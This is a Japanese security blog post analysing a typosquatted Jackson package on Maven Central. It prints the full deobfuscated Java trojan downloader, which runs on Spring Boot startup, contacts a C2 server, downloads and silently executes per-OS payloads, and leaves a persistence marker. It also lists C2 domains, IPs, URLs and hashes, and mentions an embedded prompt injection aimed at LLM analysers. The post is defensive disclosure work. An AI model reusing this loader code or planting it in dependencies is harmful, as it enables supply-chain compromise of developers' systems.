Aikido

Jacksonに対するタイポスクワッティング攻撃を介してMaven Centralで発見された初の高度なマルウェア

執筆者
Charlie Eriksen

本日、当社のチームは悪意のあるパッケージ (org.fasterxml.jackson.core/jackson-databind)がMaven Central上で正規のJackson JSONライブラリ拡張を装っていることを特定しました。これは非常に斬新であり、Maven Central上でこれほど高度なマルウェアを検出したのは初めてのことです。興味深いことに、npmのような他のエコシステムが積極的に防御を強化している中で、Mavenへの焦点が移ってきています。このエコシステムでは攻撃がめったに見られなかったため、この問題がまだ初期段階にあるうちに、より大きなコミュニティが協力してエコシステムを保護できるよう、これを文書化したいと考えました。

攻撃者は、暗号化された設定文字列、プラットフォーム固有の実行ファイルを配信するリモートコマンド&コントロールサーバー、分析を妨害するために設計された複数の難読化レイヤーを備えた多段階のペイロードを作成するために多大な労力を費やしています。タイポスクワッティングは2つのレベルで機能します。悪意のあるパッケージは org.fasterxml.jackson.core 名前空間を使用していますが、正規のJacksonライブラリは com.fasterxml.jackson.coreで公開されています。これはC2ドメインを反映しています。 fasterxml.org に対し、正規の fasterxml.com。この .com to .org すり替えは、一見しただけでは見破れないほど巧妙ですが、完全に攻撃者によって制御されています。

現時点では、GoDaddyにドメインを、Maven Centralにパッケージを報告しました。パッケージは1.5時間以内に削除されました。 

マルウェアの概要

私たちが .jar ファイルを開くと、このような混乱した状態が見られました。

一体何が起こっているのでしょうか?見ているだけで目眩がします!

  • ご覧の通り、高度に難読化されています。
  • プロンプトインジェクションを伴うnew String()呼び出しを介して、LLMベースのアナライザーを欺く試みが含まれています。
  • Unicode文字をエスケープしないエディタで表示すると、多くのノイズが表示されます。

しかしご安心ください。少し手を加えれば、これをはるかに読みやすいものに難読化解除できます。

package org.fasterxml.jackson.core;  // FAKE PACKAGE - impersonates Jackson library

/**
 * DEOBFUSCATED MALWARE
 * 
 * True purpose: Trojan downloader / Remote Access Tool (RAT) loader
 * 
 * This code masquerades as a legitimate Spring Boot auto-configuration
 * for the Jackson JSON library, but actually:
 *   1. Contacts a C2 server
 *   2. Downloads and executes a malicious payload
 *   3. Establishes persistence
 */
@Configuration
@ConditionalOnClass({ApplicationRunner.class})
public class JacksonSpringAutoConfiguration {

    // ============ DECRYPTED CONSTANTS ============
    
    // Encryption key (stored reversed as "SYEK_TLUAFED_FBO")
    private static final String AES_KEY = "OBF_DEFAULT_KEYS";
    
    // Secondary encryption key for payloads
    private static final String PAYLOAD_DECRYPTION_KEY = "9237527890923496";
    
    // Command & Control server URL (typosquatting fasterxml.com)
    private static final String C2_CONFIG_URL = "http://m.fasterxml.org:51211/config.txt";
    
    // Persistence marker file (disguised as IntelliJ IDEA file)
    private static final String PERSISTENCE_FILE = ".idea.pid";
    
    // Downloaded payload filename  
    private static final String PAYLOAD_FILENAME = "payload.bin";
    
    // User-Agent for HTTP requests
    private static final String USER_AGENT = "Mozilla/5.0";

    // ============ MAIN MALWARE LOGIC ============
    
    @Bean
    public ApplicationRunner autoRunOnStartup() {
        return args -> {
            executeMalware();
        };
    }
    
    private void executeMalware() {
        // Step 1: Check if already running via persistence file
        if (Files.exists(Paths.get(PERSISTENCE_FILE))) {
            System.out.println("[Check] Running, skip");
            return;
        }
        
        // Step 2: Detect operating system
        String os = detectOperatingSystem();
        
        // Step 3: Fetch payload configuration from C2 server
        String config = fetchC2Configuration();
        if (config == null) {
            System.out.println("[Error] 未能获取到当前系统的 Payload 配置");
            // Translation: "Failed to get current system's Payload configuration"
            return;
        }
        System.out.println("[Network] 从 HTTP 每一行中匹配到配置");
        // Translation: "Matched configuration from each HTTP line"
        
        // Step 4: Download payload to temp directory
        String tempDir = System.getProperty("java.io.tmpdir");
        Path payloadPath = Paths.get(tempDir, PAYLOAD_FILENAME);
        downloadPayload(config, payloadPath);
        
        // Step 5: Make payload executable on Unix systems
        if (os.equals("linux") || os.equals("mac")) {
            ProcessBuilder chmod = new ProcessBuilder("chmod", "+x", payloadPath.toString());
            chmod.start().waitFor();
        }
        
        // Step 6: Execute payload with output suppressed
        executePayload(payloadPath, os);
        
        // Step 7: Create persistence marker
        Files.createFile(Paths.get(PERSISTENCE_FILE));
    }
    
    private String detectOperatingSystem() {
        String osName = System.getProperty("os.name").toLowerCase();
        
        if (osName.contains("win")) {
            return "win";
        } else if (osName.contains("mac") || osName.contains("darwin")) {
            return "mac";  
        } else if (osName.contains("nux") || osName.contains("linux")) {
            return "linux";
        } else {
            return "unknown";
        }
    }
    
    private String fetchC2Configuration() {
        try {
            URL url = new URL(C2_CONFIG_URL);
            HttpURLConnection conn = (HttpURLConnection) url.openConnection();
            conn.setRequestMethod("GET");
            conn.setRequestProperty("User-Agent", USER_AGENT);
            
            if (conn.getResponseCode() == 200) {
                BufferedReader reader = new BufferedReader(
                    new InputStreamReader(conn.getInputStream())
                );
                StringBuilder config = new StringBuilder();
                String line;
                while ((line = reader.readLine()) != null) {
                    config.append(line).append("\n");
                }
                return config.toString();
            }
        } catch (Exception e) {
            // Silently fail
        }
        return null;
    }
    
    private void downloadPayload(String config, Path destination) {
        try {
            // Config format: "win|http://...\nmac|http://...\nlinux|http://..."
            // Each line is AES-ECB encrypted with PAYLOAD_DECRYPTION_KEY
            
            String os = detectOperatingSystem();
            String payloadUrl = null;
            
            // Parse each line of config to find matching OS
            for (String encryptedLine : config.split("\n")) {
                String line = decryptAES(encryptedLine.trim(), PAYLOAD_DECRYPTION_KEY);
                // Line format: "os|url" (e.g., "win|http://103.127.243.82:8000/...")
                String[] parts = line.split("\\|", 2);
                if (parts.length == 2 && parts[0].equals(os)) {
                    payloadUrl = parts[1];
                    break;
                }
            }
            
            if (payloadUrl == null) {
                return;
            }
            
            // Download payload binary
            URL url = new URL(payloadUrl);
            HttpURLConnection conn = (HttpURLConnection) url.openConnection();
            conn.setRequestMethod("GET");
            conn.setRequestProperty("User-Agent", USER_AGENT);
            
            if (conn.getResponseCode() == 200) {
                try (InputStream in = conn.getInputStream()) {
                    Files.copy(in, destination, StandardCopyOption.REPLACE_EXISTING);
                }
            }
        } catch (Exception e) {
            // Silently fail
        }
    }
    
    private String decryptAES(String hexEncrypted, String key) {
        try {
            // Convert hex string to bytes
            byte[] encrypted = new byte[hexEncrypted.length() / 2];
            for (int i = 0; i < encrypted.length; i++) {
                encrypted[i] = (byte) Integer.parseInt(
                    hexEncrypted.substring(i * 2, i * 2 + 2), 16
                );
            }
            
            SecretKeySpec secretKey = new SecretKeySpec(
                key.getBytes(StandardCharsets.UTF_8), "AES"
            );
            Cipher cipher = Cipher.getInstance("AES/ECB/PKCS5Padding");
            cipher.init(Cipher.DECRYPT_MODE, secretKey);
            
            byte[] decrypted = cipher.doFinal(encrypted);
            return new String(decrypted, StandardCharsets.UTF_8);
        } catch (Exception e) {
            return "";
        }
    }
    
    private void executePayload(Path payload, String os) {
        try {
            ProcessBuilder pb;
            if (os.equals("win")) {
                // Execute payload, redirect stderr/stdout to NUL
                pb = new ProcessBuilder(payload.toString());
                pb.redirectOutput(new File("NUL"));
                pb.redirectError(new File("NUL"));
            } else {
                // Execute payload, redirect to /dev/null  
                pb = new ProcessBuilder(payload.toString());
                pb.redirectOutput(new File("/dev/null"));
                pb.redirectError(new File("/dev/null"));
            }
            pb.start();
        } catch (Exception e) {
            // Silently fail
        }
    }
    
    private boolean isProcessRunning(String processName, String os) {
        try {
            Process p;
            if (os.equals("win")) {
                // tasklist /FI "IMAGENAME eq processName"
                p = Runtime.getRuntime().exec(new String[]{"tasklist", "/FI", 
                    "IMAGENAME eq " + processName});
            } else {
                // ps -p <pid>
                p = Runtime.getRuntime().exec(new String[]{"ps", "-p", processName});
            }
            return p.waitFor() == 0;
        } catch (Exception e) {
            return false;
        }
    }
    
    // ============ STRING DECRYPTION ============
    
    /**
     * Decrypts obfuscated strings
     * Algorithm:
     *   1. Reverse the key
     *   2. Reverse the encrypted string  
     *   3. Base64 decode
     *   4. AES/ECB decrypt
     */
    private static String decrypt(String encrypted, String key) {
        try {
            String reversedKey = new StringBuilder(key).reverse().toString();
            String reversedEncrypted = new StringBuilder(encrypted).reverse().toString();
            
            byte[] decoded = Base64.getDecoder().decode(reversedEncrypted);
            
            SecretKeySpec secretKey = new SecretKeySpec(
                reversedKey.getBytes(StandardCharsets.UTF_8), "AES"
            );
            Cipher cipher = Cipher.getInstance("AES/ECB/PKCS5Padding");
            cipher.init(Cipher.DECRYPT_MODE, secretKey);
            
            byte[] decrypted = cipher.doFinal(decoded);
            return new String(decrypted, StandardCharsets.UTF_8);
        } catch (Exception e) {
            return "";
        }
    }
}

マルウェアの動作フロー

マルウェアがどのように動作するかの概要を以下に示します。

ステージ0:感染 開発者は、正当なJackson拡張機能であると信じて、悪意のある依存関係をpom.xmlに追加します。このパッケージは org.fasterxml.jackson.core 名前空間を使用し、実際のJacksonライブラリと同じように信頼できるように見せかけています。

ステージ1:自動実行 Spring Bootアプリケーションが起動すると、Springは @Configuration クラスをスキャンして見つけます。 JacksonSpringAutoConfiguration。この @ConditionalOnClass({ApplicationRunner.class}) チェックが通過し(ApplicationRunner はSpring Bootに常に存在するため)、SpringはそのクラスをBeanとして登録します。マルウェアの ApplicationRunner アプリケーションコンテキストのロード後に自動的に呼び出されます。明示的な呼び出しは不要です。

ステージ2:永続性チェック。 マルウェアは、という名前のファイルを検索します .idea.pid 作業ディレクトリ内で。このファイル名は、IntelliJ IDEAのプロジェクトファイルに紛れ込むように意図的に選ばれています。ファイルが存在する場合、マルウェアはすでに実行中であると判断し、静かに終了します。

ステージ3:環境フィンガープリンティング。 マルウェアは、をチェックし、オペレーティングシステムを検出します System.getProperty("os.name") と照合することで win, mac/darwin、および nux/linux.

ステージ4:C2コンタクト。 マルウェアは、にアクセスします http://m.fasterxml[.]org:51211/config.txt。これは、正規のを模倣したタイポスクワッティングドメインです。 fasterxml.com。応答には、サポートされているプラットフォームごとに1行のAES暗号化されたデータが含まれています。

ステージ5:ペイロード配信。 設定内の各行は、ハードコードされたキー()を使用してAES-ECBで復号されます。9237527890923496)。形式はです os|url。例えば、マルウェアのリバースエンジニアリング時に発見された以下の値です。

win|http://103.127.243[.]82:8000/http/192he23/svchosts.exe

mac|http://103.127.243[.]82:8000/http/192he23/update

マルウェアは、検出されたOSに一致するURLを選択し、バイナリをシステムの一時ディレクトリにとしてダウンロードします payload.bin.

ステージ6:実行。 Unixシステムでは、マルウェアは実行されます chmod +x ペイロード上で。その後、標準出力/標準エラーをリダイレクトしてバイナリを実行します /dev/null (Unix)またはNUL(Windows)にリダイレクトし、出力を抑制します。Windowsのペイロードは svchosts.exeと名付けられています。これは、正規の svchost.exe プロセスに対する意図的なタイポスクワッティングです。

ステージ7:永続化。 最後に、マルウェアは .idea.pid マーカーファイルを作成し、その後のアプリケーション再起動時の再実行を防ぎます。

ドメイン

タイポスクワッティングされたドメイン fasterxml.org は、当社の分析のわずか8日前である2025年12月17日に登録されました。WHOISレコードによると、GoDaddyを通じて登録され、12月22日に更新されており、展開前の数日間に悪意のあるインフラストラクチャが活発に開発されていたことを示唆しています。

ドメイン登録からアクティブな使用までの短い期間は、マルウェアキャンペーンでよく見られるパターンです。攻撃者は、検出とブロックリスト化の機会を最小限に抑えるため、展開の直前にインフラストラクチャを立ち上げます。正規のJackson libraryは fasterxml.com で10年以上にわたり運用されており、 .org バリアントは、労力が少なく、高いリターンが得られるなりすましです。

バイナリ

当社はバイナリを取得し、分析のためにVirusTotalに提出しました。

Linux/Mac - 702161756dfd150ad3c214fbf97ce98fdc960ea7b3970b5300702ed8c953cafd

Windows - 8bce95ebfb895537fec243e069d7193980361de9d916339906b11a14ffded94f

Linux/macOSのペイロードは、ほぼすべての検出ベンダーで一貫してCobalt Strikeビーコンとして識別されます。Cobalt Strikeは、リモートアクセス、クレデンシャルハーベスティング、ラテラルムーブメント、ペイロード展開といった完全なコマンド&コントロール機能を提供する商用のペネトレーションテストツールです。合法的なレッドチームの使用のために設計されていますが、漏洩したバージョンはランサムウェア運用者やAPTグループのお気に入りとなっています。その存在は通常、単純なクリプトマイニング以上の意図を持つ高度な攻撃者を示唆しています。

Maven Centralが生態系を保護するための機会

この攻撃は、パッケージレジストリがネームスペーススクワッティングをどのように処理するかを強化する機会を浮き彫りにしています。他のエコシステムではすでにこの問題に対処するためのいくつかの措置が講じられており、Maven Centralも同様の防御策から恩恵を受ける可能性があります。

プレフィックススワップの問題点: この攻撃は、Javaのリバースドメイン名前空間規約におけるTLDスタイルのプレフィックススワップという特定の盲点をエクスプロイトしました。正当なJacksonライブラリは com.fasterxml.jackson.coreを使用していますが、悪意のあるパッケージは org.fasterxml.jackson.coreを使用していました。これはドメインタイポスクワッティング(fasterxml.com vs fasterxml.org)と直接的に類似していますが、Maven Centralには現在、これを検出するメカニズムがないようです。

これは単純な攻撃であり、同様の攻撃が模倣されると予想されます。. ここで実証された手法は、人気のあるライブラリの名前空間で com.org. にスワップするというものです。これは最小限の高度な技術しか必要としません。このアプローチが文書化された今、他の攻撃者が他の高価値ライブラリに対して同様のプレフィックススワップを試みると予想されます。これが広範なパターンとなる前に、防御策を実装する好機は今です。

このプレフィックススワップ攻撃の単純さと有効性を鑑み、Maven Centralに対し、以下の実装を検討するよう強く求めます。

  • プレフィックス類似性検出。 新しいパッケージが org.exampleの下で公開された際、 com.example または net.example が既に多大なダウンロード量で存在するかどうかを確認します。もしそうであれば、レビューのためにフラグを立てます。この同じロジックは、逆方向にも、またすべての一般的なTLD(`com, org, net, io, dev`)にも適用されるべきです。
  • 人気パッケージの保護。 高価値の名前空間(例: com.fasterxml, com.google, org.apache)のリストを維持し、類似した名前空間で公開されるパッケージには追加の検証を要求します。

この分析は、協力の精神に基づいて共有しています。Javaエコシステムは、近年npmやPyPIを悩ませてきたサプライチェーン攻撃から比較的安全な場所でした。今、事前対策を講じることで、その状態を維持するのに役立ちます。

IOCs

ドメイン:

  • fasterxml[.]org
  • m.fasterxml[.]org

IPアドレス:

  • 103.127.243[.]82

URL:

  • http://m.fasterxml[.]org:51211/config.txt
  • http://103.127.243[.]82:8000/http/192he23/svchosts.exe
  • http://103.127.243[.]82:8000/http/192he23/update

バイナリ:

  • Windowsペイロード (svchosts.exe): 8bce95ebfb895537fec243e069d7193980361de9d916339906b11a14ffded94f
  • macOSペイロード (update): 702161756dfd150ad3c214fbf97ce98fdc960ea7b3970b5300702ed8c953cafd

共有:

https://www.aikido.dev/blog/maven-central-jackson-typosquatting-malware

脅威ニュースをサブスクライブ

今日から無料で始めましょう。

無料で始める
CC不要

今すぐ、安全な環境へ。

コード、クラウド、ランタイムを1つの中央システムでセキュアに。
脆弱性を迅速に発見し、自動的に修正。

クレジットカードは不要です | スキャン結果は32秒で表示されます。